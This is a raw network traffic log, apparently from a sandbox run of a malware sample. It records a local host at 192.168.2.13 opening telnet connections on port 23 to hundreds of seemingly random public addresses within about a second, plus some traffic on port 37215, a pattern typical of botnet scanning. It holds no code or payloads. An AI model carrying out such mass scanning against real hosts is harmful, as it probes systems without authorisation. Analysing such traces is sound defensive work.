Jan 5, 2025 14:26:55.677994967 CET	57214	23	192.168.2.13	209.125.65.93
Jan 5, 2025 14:26:55.677994967 CET	57214	23	192.168.2.13	4.252.162.237
Jan 5, 2025 14:26:55.678008080 CET	57214	23	192.168.2.13	42.167.206.171
Jan 5, 2025 14:26:55.678016901 CET	57214	23	192.168.2.13	9.203.163.194
Jan 5, 2025 14:26:55.678019047 CET	57214	23	192.168.2.13	66.64.156.182
Jan 5, 2025 14:26:55.678020954 CET	57214	23	192.168.2.13	134.13.193.55
Jan 5, 2025 14:26:55.678020954 CET	57214	23	192.168.2.13	185.224.14.149
Jan 5, 2025 14:26:55.678028107 CET	57214	23	192.168.2.13	23.54.219.126
Jan 5, 2025 14:26:55.678033113 CET	57214	23	192.168.2.13	73.103.171.12
Jan 5, 2025 14:26:55.678033113 CET	57214	23	192.168.2.13	19.242.222.102
Jan 5, 2025 14:26:55.678034067 CET	57214	23	192.168.2.13	109.221.110.206
Jan 5, 2025 14:26:55.678034067 CET	57214	23	192.168.2.13	160.199.85.12
Jan 5, 2025 14:26:55.678050995 CET	57214	23	192.168.2.13	46.0.14.49
Jan 5, 2025 14:26:55.678054094 CET	57214	23	192.168.2.13	170.156.42.96
Jan 5, 2025 14:26:55.678054094 CET	57214	23	192.168.2.13	174.75.223.66
Jan 5, 2025 14:26:55.678055048 CET	57214	23	192.168.2.13	209.23.240.239
Jan 5, 2025 14:26:55.678055048 CET	57214	23	192.168.2.13	136.127.182.112
Jan 5, 2025 14:26:55.678057909 CET	57214	23	192.168.2.13	149.218.148.29
Jan 5, 2025 14:26:55.678070068 CET	57214	23	192.168.2.13	184.78.219.97
Jan 5, 2025 14:26:55.678071976 CET	57214	23	192.168.2.13	122.89.106.209
Jan 5, 2025 14:26:55.678069115 CET	57214	23	192.168.2.13	142.170.136.15
Jan 5, 2025 14:26:55.678075075 CET	57214	23	192.168.2.13	166.227.176.138
Jan 5, 2025 14:26:55.678075075 CET	57214	23	192.168.2.13	124.212.130.153
Jan 5, 2025 14:26:55.678075075 CET	57214	23	192.168.2.13	188.169.198.112
Jan 5, 2025 14:26:55.678081036 CET	57214	23	192.168.2.13	86.124.157.157
Jan 5, 2025 14:26:55.678081036 CET	57214	23	192.168.2.13	130.212.24.177
Jan 5, 2025 14:26:55.678088903 CET	57214	23	192.168.2.13	74.19.181.216
Jan 5, 2025 14:26:55.678090096 CET	57214	23	192.168.2.13	173.81.23.150
Jan 5, 2025 14:26:55.678091049 CET	57214	23	192.168.2.13	194.139.230.98
Jan 5, 2025 14:26:55.678091049 CET	57214	23	192.168.2.13	150.119.140.30
Jan 5, 2025 14:26:55.678091049 CET	57214	23	192.168.2.13	186.56.56.135
Jan 5, 2025 14:26:55.678091049 CET	57214	23	192.168.2.13	206.183.63.10
Jan 5, 2025 14:26:55.678092957 CET	57214	23	192.168.2.13	191.218.121.135
Jan 5, 2025 14:26:55.678095102 CET	57214	23	192.168.2.13	4.173.48.134
Jan 5, 2025 14:26:55.678095102 CET	57214	23	192.168.2.13	86.165.192.92
Jan 5, 2025 14:26:55.678102970 CET	57214	23	192.168.2.13	69.162.227.129
Jan 5, 2025 14:26:55.678108931 CET	57214	23	192.168.2.13	25.122.116.216
Jan 5, 2025 14:26:55.678109884 CET	57214	23	192.168.2.13	192.161.33.24
Jan 5, 2025 14:26:55.678112984 CET	57214	23	192.168.2.13	78.63.220.157
Jan 5, 2025 14:26:55.678117990 CET	57214	23	192.168.2.13	48.106.49.47
Jan 5, 2025 14:26:55.678129911 CET	57214	23	192.168.2.13	198.130.63.233
Jan 5, 2025 14:26:55.678131104 CET	57214	23	192.168.2.13	157.184.90.69
Jan 5, 2025 14:26:55.678133965 CET	57214	23	192.168.2.13	204.193.209.70
Jan 5, 2025 14:26:55.678138971 CET	57214	23	192.168.2.13	79.151.170.197
Jan 5, 2025 14:26:55.678142071 CET	57214	23	192.168.2.13	171.8.134.199
Jan 5, 2025 14:26:55.678147078 CET	57214	23	192.168.2.13	66.50.156.180
Jan 5, 2025 14:26:55.678148031 CET	57214	23	192.168.2.13	31.162.136.191
Jan 5, 2025 14:26:55.678148031 CET	57214	23	192.168.2.13	151.56.66.222
Jan 5, 2025 14:26:55.678148031 CET	57214	23	192.168.2.13	31.96.70.225
Jan 5, 2025 14:26:55.678148031 CET	57214	23	192.168.2.13	47.161.148.105
Jan 5, 2025 14:26:55.678165913 CET	57214	23	192.168.2.13	52.112.239.197
Jan 5, 2025 14:26:55.678165913 CET	57214	23	192.168.2.13	61.77.64.177
Jan 5, 2025 14:26:55.678179026 CET	57214	23	192.168.2.13	64.216.249.112
Jan 5, 2025 14:26:55.678183079 CET	57214	23	192.168.2.13	44.159.55.44
Jan 5, 2025 14:26:55.678184032 CET	57214	23	192.168.2.13	69.38.180.54
Jan 5, 2025 14:26:55.678186893 CET	57214	23	192.168.2.13	205.164.163.55
Jan 5, 2025 14:26:55.678193092 CET	57214	23	192.168.2.13	186.46.57.166
Jan 5, 2025 14:26:55.678203106 CET	57214	23	192.168.2.13	105.12.188.160
Jan 5, 2025 14:26:55.678211927 CET	57214	23	192.168.2.13	47.134.107.227
Jan 5, 2025 14:26:55.678212881 CET	57214	23	192.168.2.13	109.36.59.193
Jan 5, 2025 14:26:55.678214073 CET	57214	23	192.168.2.13	164.189.229.250
Jan 5, 2025 14:26:55.678220034 CET	57214	23	192.168.2.13	159.252.113.92
Jan 5, 2025 14:26:55.678231955 CET	57214	23	192.168.2.13	61.104.159.65
Jan 5, 2025 14:26:55.678232908 CET	57214	23	192.168.2.13	111.142.173.215
Jan 5, 2025 14:26:55.678235054 CET	57214	23	192.168.2.13	122.11.6.145
Jan 5, 2025 14:26:55.678246021 CET	57214	23	192.168.2.13	32.33.194.106
Jan 5, 2025 14:26:55.678246975 CET	57214	23	192.168.2.13	216.241.125.141
Jan 5, 2025 14:26:55.678250074 CET	57214	23	192.168.2.13	182.87.33.135
Jan 5, 2025 14:26:55.678262949 CET	57214	23	192.168.2.13	82.150.89.123
Jan 5, 2025 14:26:55.678262949 CET	57214	23	192.168.2.13	110.92.7.166
Jan 5, 2025 14:26:55.678267002 CET	57214	23	192.168.2.13	61.30.62.36
Jan 5, 2025 14:26:55.678267956 CET	57214	23	192.168.2.13	24.223.214.151
Jan 5, 2025 14:26:55.678272963 CET	57214	23	192.168.2.13	93.215.184.182
Jan 5, 2025 14:26:55.678286076 CET	57214	23	192.168.2.13	72.39.155.71
Jan 5, 2025 14:26:55.678289890 CET	57214	23	192.168.2.13	110.205.129.185
Jan 5, 2025 14:26:55.678292036 CET	57214	23	192.168.2.13	46.197.203.227
Jan 5, 2025 14:26:55.678292036 CET	57214	23	192.168.2.13	84.222.85.171
Jan 5, 2025 14:26:55.678292990 CET	57214	23	192.168.2.13	111.62.54.223
Jan 5, 2025 14:26:55.678309917 CET	57214	23	192.168.2.13	185.41.72.81
Jan 5, 2025 14:26:55.678309917 CET	57214	23	192.168.2.13	89.238.58.125
Jan 5, 2025 14:26:55.678327084 CET	57214	23	192.168.2.13	125.180.237.134
Jan 5, 2025 14:26:55.678327084 CET	57214	23	192.168.2.13	105.18.41.177
Jan 5, 2025 14:26:55.678328037 CET	57214	23	192.168.2.13	93.33.103.246
Jan 5, 2025 14:26:55.678328037 CET	57214	23	192.168.2.13	72.37.240.44
Jan 5, 2025 14:26:55.678349018 CET	57214	23	192.168.2.13	31.191.99.184
Jan 5, 2025 14:26:55.678349972 CET	57214	23	192.168.2.13	38.49.150.107
Jan 5, 2025 14:26:55.678350925 CET	57214	23	192.168.2.13	31.180.150.94
Jan 5, 2025 14:26:55.678350925 CET	57214	23	192.168.2.13	146.193.59.168
Jan 5, 2025 14:26:55.678356886 CET	57214	23	192.168.2.13	73.143.121.98
Jan 5, 2025 14:26:55.678358078 CET	57214	23	192.168.2.13	178.249.205.58
Jan 5, 2025 14:26:55.678358078 CET	57214	23	192.168.2.13	206.48.195.215
Jan 5, 2025 14:26:55.678359032 CET	57214	23	192.168.2.13	174.68.251.4
Jan 5, 2025 14:26:55.678374052 CET	57214	23	192.168.2.13	41.182.139.189
Jan 5, 2025 14:26:55.678374052 CET	57214	23	192.168.2.13	114.95.120.252
Jan 5, 2025 14:26:55.678379059 CET	57214	23	192.168.2.13	107.223.73.81
Jan 5, 2025 14:26:55.678381920 CET	57214	23	192.168.2.13	121.142.95.115
Jan 5, 2025 14:26:55.678400993 CET	57214	23	192.168.2.13	199.76.33.217
Jan 5, 2025 14:26:55.678401947 CET	57214	23	192.168.2.13	178.177.229.53
Jan 5, 2025 14:26:55.678401947 CET	57214	23	192.168.2.13	151.201.236.76
Jan 5, 2025 14:26:55.678401947 CET	57214	23	192.168.2.13	19.99.199.80
Jan 5, 2025 14:26:55.678401947 CET	57214	23	192.168.2.13	67.91.243.61
Jan 5, 2025 14:26:55.678406000 CET	57214	23	192.168.2.13	1.200.14.158
Jan 5, 2025 14:26:55.678412914 CET	57214	23	192.168.2.13	20.22.61.44
Jan 5, 2025 14:26:55.678415060 CET	57214	23	192.168.2.13	8.111.34.4
Jan 5, 2025 14:26:55.678421974 CET	57214	23	192.168.2.13	219.5.54.229
Jan 5, 2025 14:26:55.678430080 CET	57214	23	192.168.2.13	181.247.149.153
Jan 5, 2025 14:26:55.678432941 CET	57214	23	192.168.2.13	65.98.206.254
Jan 5, 2025 14:26:55.678441048 CET	57214	23	192.168.2.13	78.86.137.23
Jan 5, 2025 14:26:55.678443909 CET	57214	23	192.168.2.13	194.245.4.54
Jan 5, 2025 14:26:55.678455114 CET	57214	23	192.168.2.13	190.51.160.106
Jan 5, 2025 14:26:55.678458929 CET	57214	23	192.168.2.13	86.219.204.138
Jan 5, 2025 14:26:55.678459883 CET	57214	23	192.168.2.13	43.215.202.122
Jan 5, 2025 14:26:55.678467035 CET	57214	23	192.168.2.13	152.127.180.155
Jan 5, 2025 14:26:55.678472996 CET	57214	23	192.168.2.13	113.238.127.145
Jan 5, 2025 14:26:55.678473949 CET	57214	23	192.168.2.13	112.86.22.150
Jan 5, 2025 14:26:55.678492069 CET	57214	23	192.168.2.13	43.43.79.62
Jan 5, 2025 14:26:55.678493023 CET	57214	23	192.168.2.13	25.246.41.174
Jan 5, 2025 14:26:55.678494930 CET	57214	23	192.168.2.13	81.48.127.67
Jan 5, 2025 14:26:55.678514004 CET	57214	23	192.168.2.13	100.197.75.208
Jan 5, 2025 14:26:55.678514004 CET	57214	23	192.168.2.13	106.191.220.28
Jan 5, 2025 14:26:55.678514004 CET	57214	23	192.168.2.13	137.51.45.239
Jan 5, 2025 14:26:55.678519964 CET	57214	23	192.168.2.13	84.121.78.133
Jan 5, 2025 14:26:55.678519964 CET	57214	23	192.168.2.13	31.204.238.106
Jan 5, 2025 14:26:55.678525925 CET	57214	23	192.168.2.13	155.65.247.49
Jan 5, 2025 14:26:55.678529024 CET	57214	23	192.168.2.13	164.128.96.211
Jan 5, 2025 14:26:55.678534031 CET	57214	23	192.168.2.13	89.22.197.103
Jan 5, 2025 14:26:55.678550959 CET	57214	23	192.168.2.13	71.131.20.31
Jan 5, 2025 14:26:55.678553104 CET	57214	23	192.168.2.13	64.187.15.94
Jan 5, 2025 14:26:55.678554058 CET	57214	23	192.168.2.13	211.191.114.215
Jan 5, 2025 14:26:55.678556919 CET	57214	23	192.168.2.13	79.129.53.7
Jan 5, 2025 14:26:55.678563118 CET	57214	23	192.168.2.13	69.188.53.23
Jan 5, 2025 14:26:55.678565025 CET	57214	23	192.168.2.13	67.181.96.129
Jan 5, 2025 14:26:55.678567886 CET	57214	23	192.168.2.13	19.125.12.194
Jan 5, 2025 14:26:55.678572893 CET	57214	23	192.168.2.13	38.101.85.17
Jan 5, 2025 14:26:55.678574085 CET	57214	23	192.168.2.13	172.134.93.63
Jan 5, 2025 14:26:55.678577900 CET	57214	23	192.168.2.13	182.29.162.227
Jan 5, 2025 14:26:55.678599119 CET	57214	23	192.168.2.13	47.72.122.33
Jan 5, 2025 14:26:55.678599119 CET	57214	23	192.168.2.13	14.221.106.41
Jan 5, 2025 14:26:55.678599119 CET	57214	23	192.168.2.13	146.152.171.183
Jan 5, 2025 14:26:55.678599119 CET	57214	23	192.168.2.13	191.59.64.77
Jan 5, 2025 14:26:55.678602934 CET	57214	23	192.168.2.13	123.157.134.53
Jan 5, 2025 14:26:55.678611994 CET	57214	23	192.168.2.13	146.190.93.184
Jan 5, 2025 14:26:55.678611994 CET	57214	23	192.168.2.13	75.76.120.255
Jan 5, 2025 14:26:55.678615093 CET	57214	23	192.168.2.13	117.218.230.201
Jan 5, 2025 14:26:55.678621054 CET	57214	23	192.168.2.13	155.217.253.15
Jan 5, 2025 14:26:55.678631067 CET	57214	23	192.168.2.13	35.142.224.80
Jan 5, 2025 14:26:55.678631067 CET	57214	23	192.168.2.13	135.124.193.44
Jan 5, 2025 14:26:55.678644896 CET	57214	23	192.168.2.13	202.198.199.151
Jan 5, 2025 14:26:55.678646088 CET	57214	23	192.168.2.13	220.64.91.171
Jan 5, 2025 14:26:55.678648949 CET	57214	23	192.168.2.13	140.9.255.72
Jan 5, 2025 14:26:55.678652048 CET	57214	23	192.168.2.13	14.36.216.186
Jan 5, 2025 14:26:55.678657055 CET	57214	23	192.168.2.13	151.252.90.114
Jan 5, 2025 14:26:55.678667068 CET	57214	23	192.168.2.13	41.200.119.115
Jan 5, 2025 14:26:55.678678989 CET	57214	23	192.168.2.13	131.93.195.95
Jan 5, 2025 14:26:55.678683043 CET	57214	23	192.168.2.13	17.152.55.0
Jan 5, 2025 14:26:55.678689957 CET	57214	23	192.168.2.13	221.19.174.16
Jan 5, 2025 14:26:55.678689957 CET	57214	23	192.168.2.13	173.19.97.243
Jan 5, 2025 14:26:55.678705931 CET	57214	23	192.168.2.13	78.107.182.98
Jan 5, 2025 14:26:55.678706884 CET	57214	23	192.168.2.13	139.209.56.239
Jan 5, 2025 14:26:55.678706884 CET	57214	23	192.168.2.13	52.231.95.40
Jan 5, 2025 14:26:55.678719044 CET	57214	23	192.168.2.13	130.250.63.206
Jan 5, 2025 14:26:55.678719997 CET	57214	23	192.168.2.13	179.164.45.48
Jan 5, 2025 14:26:55.678726912 CET	57214	23	192.168.2.13	35.70.238.110
Jan 5, 2025 14:26:55.678731918 CET	57214	23	192.168.2.13	149.39.238.107
Jan 5, 2025 14:26:55.678735971 CET	57214	23	192.168.2.13	72.48.223.143
Jan 5, 2025 14:26:55.678738117 CET	57214	23	192.168.2.13	202.202.57.159
Jan 5, 2025 14:26:55.678750992 CET	57214	23	192.168.2.13	126.125.2.176
Jan 5, 2025 14:26:55.678754091 CET	57214	23	192.168.2.13	83.57.134.159
Jan 5, 2025 14:26:55.678757906 CET	57214	23	192.168.2.13	219.19.255.232
Jan 5, 2025 14:26:55.678757906 CET	57214	23	192.168.2.13	78.55.44.78
Jan 5, 2025 14:26:55.678774118 CET	57214	23	192.168.2.13	50.132.94.247
Jan 5, 2025 14:26:55.678777933 CET	57214	23	192.168.2.13	64.187.32.8
Jan 5, 2025 14:26:55.678781033 CET	57214	23	192.168.2.13	61.45.9.153
Jan 5, 2025 14:26:55.678792953 CET	57214	23	192.168.2.13	54.180.209.155
Jan 5, 2025 14:26:55.678792953 CET	57214	23	192.168.2.13	126.128.41.135
Jan 5, 2025 14:26:55.678796053 CET	57214	23	192.168.2.13	189.142.241.213
Jan 5, 2025 14:26:55.678800106 CET	57214	23	192.168.2.13	108.141.162.191
Jan 5, 2025 14:26:55.678812981 CET	57214	23	192.168.2.13	223.234.131.154
Jan 5, 2025 14:26:55.678817034 CET	57214	23	192.168.2.13	17.177.228.50
Jan 5, 2025 14:26:55.678818941 CET	57214	23	192.168.2.13	97.198.7.91
Jan 5, 2025 14:26:55.678818941 CET	57214	23	192.168.2.13	90.38.191.116
Jan 5, 2025 14:26:55.678827047 CET	57214	23	192.168.2.13	167.90.203.67
Jan 5, 2025 14:26:55.678827047 CET	57214	23	192.168.2.13	185.234.160.231
Jan 5, 2025 14:26:55.678838015 CET	57214	23	192.168.2.13	14.22.74.112
Jan 5, 2025 14:26:55.678848028 CET	57214	23	192.168.2.13	134.44.21.148
Jan 5, 2025 14:26:55.678848028 CET	57214	23	192.168.2.13	213.228.110.82
Jan 5, 2025 14:26:55.678853035 CET	57214	23	192.168.2.13	101.41.53.223
Jan 5, 2025 14:26:55.678868055 CET	57214	23	192.168.2.13	151.128.178.102
Jan 5, 2025 14:26:55.678869963 CET	57214	23	192.168.2.13	176.191.76.43
Jan 5, 2025 14:26:55.678869963 CET	57214	23	192.168.2.13	211.59.67.191
Jan 5, 2025 14:26:55.678869963 CET	57214	23	192.168.2.13	78.67.91.105
Jan 5, 2025 14:26:55.678874016 CET	57214	23	192.168.2.13	96.11.218.56
Jan 5, 2025 14:26:55.678878069 CET	57214	23	192.168.2.13	4.21.12.13
Jan 5, 2025 14:26:55.678889036 CET	57214	23	192.168.2.13	110.222.146.205
Jan 5, 2025 14:26:55.678905010 CET	57214	23	192.168.2.13	86.107.17.200
Jan 5, 2025 14:26:55.678905010 CET	57214	23	192.168.2.13	90.78.158.231
Jan 5, 2025 14:26:55.678909063 CET	57214	23	192.168.2.13	107.94.52.62
Jan 5, 2025 14:26:55.678916931 CET	57214	23	192.168.2.13	114.151.3.48
Jan 5, 2025 14:26:55.678919077 CET	57214	23	192.168.2.13	201.238.122.242
Jan 5, 2025 14:26:55.678919077 CET	57214	23	192.168.2.13	27.127.208.156
Jan 5, 2025 14:26:55.678919077 CET	57214	23	192.168.2.13	23.247.67.144
Jan 5, 2025 14:26:55.678925037 CET	57214	23	192.168.2.13	114.197.176.214
Jan 5, 2025 14:26:55.678925037 CET	57214	23	192.168.2.13	199.235.185.223
Jan 5, 2025 14:26:55.678931952 CET	57214	23	192.168.2.13	125.90.182.113
Jan 5, 2025 14:26:55.678936005 CET	57214	23	192.168.2.13	144.244.237.78
Jan 5, 2025 14:26:55.678967953 CET	57214	23	192.168.2.13	17.93.57.154
Jan 5, 2025 14:26:55.678971052 CET	57214	23	192.168.2.13	37.188.75.113
Jan 5, 2025 14:26:55.678972006 CET	57214	23	192.168.2.13	125.75.217.93
Jan 5, 2025 14:26:55.678971052 CET	57214	23	192.168.2.13	82.157.251.217
Jan 5, 2025 14:26:55.678972960 CET	57214	23	192.168.2.13	118.179.166.235
Jan 5, 2025 14:26:55.678972960 CET	57214	23	192.168.2.13	157.42.20.212
Jan 5, 2025 14:26:55.678975105 CET	57214	23	192.168.2.13	103.238.162.4
Jan 5, 2025 14:26:55.678976059 CET	57214	23	192.168.2.13	105.206.159.183
Jan 5, 2025 14:26:55.678976059 CET	57214	23	192.168.2.13	152.148.48.253
Jan 5, 2025 14:26:55.678976059 CET	57214	23	192.168.2.13	220.179.83.37
Jan 5, 2025 14:26:55.678987980 CET	57214	23	192.168.2.13	102.173.154.145
Jan 5, 2025 14:26:55.678988934 CET	57214	23	192.168.2.13	144.16.76.233
Jan 5, 2025 14:26:55.678988934 CET	57214	23	192.168.2.13	160.24.115.73
Jan 5, 2025 14:26:55.678991079 CET	57214	23	192.168.2.13	177.154.120.41
Jan 5, 2025 14:26:55.678992987 CET	57214	23	192.168.2.13	32.81.63.30
Jan 5, 2025 14:26:55.678992987 CET	57214	23	192.168.2.13	106.81.67.170
Jan 5, 2025 14:26:55.678992987 CET	57214	23	192.168.2.13	94.199.80.165
Jan 5, 2025 14:26:55.678992987 CET	57214	23	192.168.2.13	130.138.102.152
Jan 5, 2025 14:26:55.678993940 CET	57214	23	192.168.2.13	43.212.93.168
Jan 5, 2025 14:26:55.678993940 CET	57214	23	192.168.2.13	156.249.118.38
Jan 5, 2025 14:26:55.678993940 CET	57214	23	192.168.2.13	95.216.226.250
Jan 5, 2025 14:26:55.678996086 CET	57214	23	192.168.2.13	163.81.126.139
Jan 5, 2025 14:26:55.678996086 CET	57214	23	192.168.2.13	68.248.235.137
Jan 5, 2025 14:26:55.678997040 CET	57214	23	192.168.2.13	100.204.33.222
Jan 5, 2025 14:26:55.678997040 CET	57214	23	192.168.2.13	196.130.179.241
Jan 5, 2025 14:26:55.678997040 CET	57214	23	192.168.2.13	130.230.33.215
Jan 5, 2025 14:26:55.678997040 CET	57214	23	192.168.2.13	196.228.84.170
Jan 5, 2025 14:26:55.678997040 CET	57214	23	192.168.2.13	179.152.82.243
Jan 5, 2025 14:26:55.679001093 CET	57214	23	192.168.2.13	167.197.240.61
Jan 5, 2025 14:26:55.679001093 CET	57214	23	192.168.2.13	143.201.165.61
Jan 5, 2025 14:26:55.679001093 CET	57214	23	192.168.2.13	91.111.47.112
Jan 5, 2025 14:26:55.679001093 CET	57214	23	192.168.2.13	1.249.31.19
Jan 5, 2025 14:26:55.679004908 CET	57214	23	192.168.2.13	105.39.74.57
Jan 5, 2025 14:26:55.679008007 CET	57214	23	192.168.2.13	81.91.29.26
Jan 5, 2025 14:26:55.679008007 CET	57214	23	192.168.2.13	175.41.79.229
Jan 5, 2025 14:26:55.679012060 CET	57214	23	192.168.2.13	8.47.237.70
Jan 5, 2025 14:26:55.679013014 CET	57214	23	192.168.2.13	81.47.141.248
Jan 5, 2025 14:26:55.679013968 CET	57214	23	192.168.2.13	64.35.41.230
Jan 5, 2025 14:26:55.679017067 CET	57214	23	192.168.2.13	119.87.68.46
Jan 5, 2025 14:26:55.679017067 CET	57214	23	192.168.2.13	119.26.153.113
Jan 5, 2025 14:26:55.679034948 CET	57214	23	192.168.2.13	135.174.250.191
Jan 5, 2025 14:26:55.679038048 CET	57214	23	192.168.2.13	213.58.155.115
Jan 5, 2025 14:26:55.679039955 CET	57214	23	192.168.2.13	212.64.204.1
Jan 5, 2025 14:26:55.679040909 CET	57214	23	192.168.2.13	190.56.31.89
Jan 5, 2025 14:26:55.679049015 CET	57214	23	192.168.2.13	121.242.104.19
Jan 5, 2025 14:26:55.679053068 CET	57214	23	192.168.2.13	177.184.165.131
Jan 5, 2025 14:26:55.679059982 CET	57214	23	192.168.2.13	172.124.149.23
Jan 5, 2025 14:26:55.679061890 CET	57214	23	192.168.2.13	17.211.47.103
Jan 5, 2025 14:26:55.679073095 CET	57214	23	192.168.2.13	190.244.188.145
Jan 5, 2025 14:26:55.679083109 CET	57214	23	192.168.2.13	132.157.17.32
Jan 5, 2025 14:26:55.679086924 CET	57214	23	192.168.2.13	121.103.59.78
Jan 5, 2025 14:26:55.679094076 CET	57214	23	192.168.2.13	58.24.169.120
Jan 5, 2025 14:26:55.679096937 CET	57214	23	192.168.2.13	161.103.115.118
Jan 5, 2025 14:26:55.679096937 CET	57214	23	192.168.2.13	193.233.153.64
Jan 5, 2025 14:26:55.679116011 CET	57214	23	192.168.2.13	188.44.51.103
Jan 5, 2025 14:26:55.679122925 CET	57214	23	192.168.2.13	110.105.137.41
Jan 5, 2025 14:26:55.679130077 CET	57214	23	192.168.2.13	210.5.59.102
Jan 5, 2025 14:26:55.679130077 CET	57214	23	192.168.2.13	178.118.207.146
Jan 5, 2025 14:26:55.679130077 CET	57214	23	192.168.2.13	166.33.27.203
Jan 5, 2025 14:26:55.679135084 CET	57214	23	192.168.2.13	39.92.47.22
Jan 5, 2025 14:26:55.679150105 CET	57214	23	192.168.2.13	175.246.5.35
Jan 5, 2025 14:26:55.679152012 CET	57214	23	192.168.2.13	59.77.245.82
Jan 5, 2025 14:26:55.679152966 CET	57214	23	192.168.2.13	175.187.160.39
Jan 5, 2025 14:26:55.679152966 CET	57214	23	192.168.2.13	47.163.75.20
Jan 5, 2025 14:26:55.679157019 CET	57214	23	192.168.2.13	151.112.46.149
Jan 5, 2025 14:26:55.679171085 CET	57214	23	192.168.2.13	197.85.73.74
Jan 5, 2025 14:26:55.679172993 CET	57214	23	192.168.2.13	61.72.46.53
Jan 5, 2025 14:26:55.679173946 CET	57214	23	192.168.2.13	136.196.0.248
Jan 5, 2025 14:26:55.679186106 CET	57214	23	192.168.2.13	157.60.167.65
Jan 5, 2025 14:26:55.679191113 CET	57214	23	192.168.2.13	42.187.75.246
Jan 5, 2025 14:26:55.679195881 CET	57214	23	192.168.2.13	52.72.23.44
Jan 5, 2025 14:26:55.679202080 CET	57214	23	192.168.2.13	63.68.38.35
Jan 5, 2025 14:26:55.679214001 CET	57214	23	192.168.2.13	192.233.157.67
Jan 5, 2025 14:26:55.679215908 CET	57214	23	192.168.2.13	191.89.171.83
Jan 5, 2025 14:26:55.679219961 CET	57214	23	192.168.2.13	133.167.68.125
Jan 5, 2025 14:26:55.679224014 CET	57214	23	192.168.2.13	147.234.98.212
Jan 5, 2025 14:26:55.679238081 CET	57214	23	192.168.2.13	88.235.71.56
Jan 5, 2025 14:26:55.679238081 CET	57214	23	192.168.2.13	73.59.177.168
Jan 5, 2025 14:26:55.679240942 CET	57214	23	192.168.2.13	61.226.13.99
Jan 5, 2025 14:26:55.679245949 CET	57214	23	192.168.2.13	75.227.50.108
Jan 5, 2025 14:26:55.679255009 CET	57214	23	192.168.2.13	18.148.153.213
Jan 5, 2025 14:26:55.679258108 CET	57214	23	192.168.2.13	147.84.18.96
Jan 5, 2025 14:26:55.679264069 CET	57214	23	192.168.2.13	130.252.199.148
Jan 5, 2025 14:26:55.679264069 CET	57214	23	192.168.2.13	116.249.119.243
Jan 5, 2025 14:26:55.679269075 CET	57214	23	192.168.2.13	135.20.253.140
Jan 5, 2025 14:26:55.679286003 CET	57214	23	192.168.2.13	31.116.14.150
Jan 5, 2025 14:26:55.679286957 CET	57214	23	192.168.2.13	83.229.220.93
Jan 5, 2025 14:26:55.679291010 CET	57214	23	192.168.2.13	190.138.230.123
Jan 5, 2025 14:26:55.679294109 CET	57214	23	192.168.2.13	4.230.11.244
Jan 5, 2025 14:26:55.679307938 CET	57214	23	192.168.2.13	197.223.243.150
Jan 5, 2025 14:26:55.679332018 CET	57214	23	192.168.2.13	106.107.1.42
Jan 5, 2025 14:26:55.679332018 CET	57214	23	192.168.2.13	163.4.141.63
Jan 5, 2025 14:26:55.679332972 CET	57214	23	192.168.2.13	72.199.54.203
Jan 5, 2025 14:26:55.679332018 CET	57214	23	192.168.2.13	216.196.189.48
Jan 5, 2025 14:26:55.679336071 CET	57214	23	192.168.2.13	81.68.160.25
Jan 5, 2025 14:26:55.679346085 CET	57214	23	192.168.2.13	202.201.226.19
Jan 5, 2025 14:26:55.682488918 CET	23	57214	84.147.129.58	192.168.2.13
Jan 5, 2025 14:26:55.682498932 CET	23	57214	72.149.193.72	192.168.2.13
Jan 5, 2025 14:26:55.682528973 CET	57214	23	192.168.2.13	84.147.129.58
Jan 5, 2025 14:26:55.682534933 CET	57214	23	192.168.2.13	72.149.193.72
Jan 5, 2025 14:26:56.153786898 CET	37215	53872	197.7.160.89	192.168.2.13
Jan 5, 2025 14:26:56.153834105 CET	53872	37215	192.168.2.13	197.7.160.89
Jan 5, 2025 14:26:56.189044952 CET	23	52090	194.18.196.49	192.168.2.13
Jan 5, 2025 14:26:56.189153910 CET	52090	23	192.168.2.13	194.18.196.49
Jan 5, 2025 14:26:56.189188957 CET	52330	23	192.168.2.13	194.18.196.49
Jan 5, 2025 14:26:56.189222097 CET	57214	23	192.168.2.13	69.110.123.131
Jan 5, 2025 14:26:56.189227104 CET	57214	23	192.168.2.13	205.26.16.246
Jan 5, 2025 14:26:56.189230919 CET	57214	23	192.168.2.13	168.76.86.240
Jan 5, 2025 14:26:56.189243078 CET	57214	23	192.168.2.13	85.133.235.199
Jan 5, 2025 14:26:56.189243078 CET	57214	23	192.168.2.13	176.234.192.172
Jan 5, 2025 14:26:56.189248085 CET	57214	23	192.168.2.13	61.245.186.124
Jan 5, 2025 14:26:56.189248085 CET	57214	23	192.168.2.13	35.126.2.103
Jan 5, 2025 14:26:56.189255953 CET	57214	23	192.168.2.13	161.245.137.34
Jan 5, 2025 14:26:56.189256907 CET	57214	23	192.168.2.13	59.201.133.12
Jan 5, 2025 14:26:56.189256907 CET	57214	23	192.168.2.13	170.254.10.112
Jan 5, 2025 14:26:56.189256907 CET	57214	23	192.168.2.13	189.183.109.124
Jan 5, 2025 14:26:56.189280987 CET	57214	23	192.168.2.13	51.63.110.62
Jan 5, 2025 14:26:56.189285994 CET	57214	23	192.168.2.13	210.237.88.69
Jan 5, 2025 14:26:56.189291954 CET	57214	23	192.168.2.13	97.221.214.119
Jan 5, 2025 14:26:56.189291000 CET	57214	23	192.168.2.13	76.131.190.87
Jan 5, 2025 14:26:56.189306021 CET	57214	23	192.168.2.13	133.1.94.91
Jan 5, 2025 14:26:56.189306021 CET	57214	23	192.168.2.13	164.113.84.217
Jan 5, 2025 14:26:56.189306021 CET	57214	23	192.168.2.13	199.28.35.194
Jan 5, 2025 14:26:56.189318895 CET	57214	23	192.168.2.13	217.161.220.177
Jan 5, 2025 14:26:56.189320087 CET	57214	23	192.168.2.13	67.72.217.125
Jan 5, 2025 14:26:56.189320087 CET	57214	23	192.168.2.13	122.28.128.164
Jan 5, 2025 14:26:56.189320087 CET	57214	23	192.168.2.13	212.119.105.199
Jan 5, 2025 14:26:56.189321995 CET	57214	23	192.168.2.13	20.164.7.100
Jan 5, 2025 14:26:56.189321995 CET	57214	23	192.168.2.13	167.203.153.35
Jan 5, 2025 14:26:56.189331055 CET	57214	23	192.168.2.13	89.220.72.37
Jan 5, 2025 14:26:56.189347029 CET	57214	23	192.168.2.13	74.13.66.68
Jan 5, 2025 14:26:56.189356089 CET	57214	23	192.168.2.13	155.228.228.16
Jan 5, 2025 14:26:56.189363956 CET	57214	23	192.168.2.13	88.75.166.161
Jan 5, 2025 14:26:56.189374924 CET	57214	23	192.168.2.13	54.247.40.33
Jan 5, 2025 14:26:56.189374924 CET	57214	23	192.168.2.13	202.102.177.178
